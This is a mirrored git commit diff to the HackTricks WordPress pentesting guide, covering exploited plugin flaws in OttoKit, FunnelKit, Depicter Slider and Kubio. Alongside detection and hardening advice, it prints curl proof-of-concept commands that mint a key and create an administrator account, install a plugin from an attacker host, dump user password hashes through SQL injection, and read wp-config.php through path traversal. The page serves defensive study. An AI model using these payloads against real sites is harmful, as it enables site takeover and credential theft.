mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1454 from HackTricks-wiki/update_Q3_2025_s_most_exploited_WordPress_vulnerabilities_20251001_123959
Q3 2025’s most exploited WordPress vulnerabilities and how R...
This commit is contained in:
commit
1951fd1b20
@ -447,15 +447,6 @@ Detection checklist
|
||||
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
|
||||
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
|
||||
|
||||
Hardening
|
||||
|
||||
- Never derive authentication or authorization from client-controlled headers.
|
||||
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
|
||||
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
|
||||
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
@ -511,31 +502,6 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
|
||||
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Hardening
|
||||
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> **Always** treat any write/delete operation on disk as privileged and double-check:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
@ -565,12 +531,6 @@ Why it’s exploitable
|
||||
- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
|
||||
- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
|
||||
|
||||
Attack prerequisites
|
||||
|
||||
- Vulnerable plugin version with the feature enabled.
|
||||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||||
|
||||
Exploitation (example)
|
||||
|
||||
```bash
|
||||
@ -591,21 +551,6 @@ Detection checklist
|
||||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||||
|
||||
Hardening
|
||||
|
||||
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
|
||||
- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy.
|
||||
- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration:
|
||||
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
|
||||
- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
@ -852,6 +797,123 @@ Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
|
||||
Why it’s exploitable
|
||||
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
|
||||
- No capability enforcement; minted key is accepted as a universal bypass
|
||||
|
||||
Detection checklist
|
||||
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
|
||||
- Look for subsequent routes that accept the minted token/key without server-side capability checks
|
||||
|
||||
Hardening
|
||||
- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
|
||||
- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
|
||||
- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
|
||||
Detection checklist
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
|
||||
Hardening
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
|
||||
Detection checklist
|
||||
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
|
||||
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
|
||||
|
||||
Hardening
|
||||
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
|
||||
- Add a strict allowlist for s and normalize to expected charset/length
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
|
||||
|
||||
PoC – read wp-config.php
|
||||
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
|
||||
Detection checklist
|
||||
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
|
||||
- Look for traversal patterns (../) reaching outside the intended templates directory
|
||||
|
||||
Hardening
|
||||
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
@ -863,7 +925,11 @@ Patched behaviour (Jobmonster 4.8.0)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user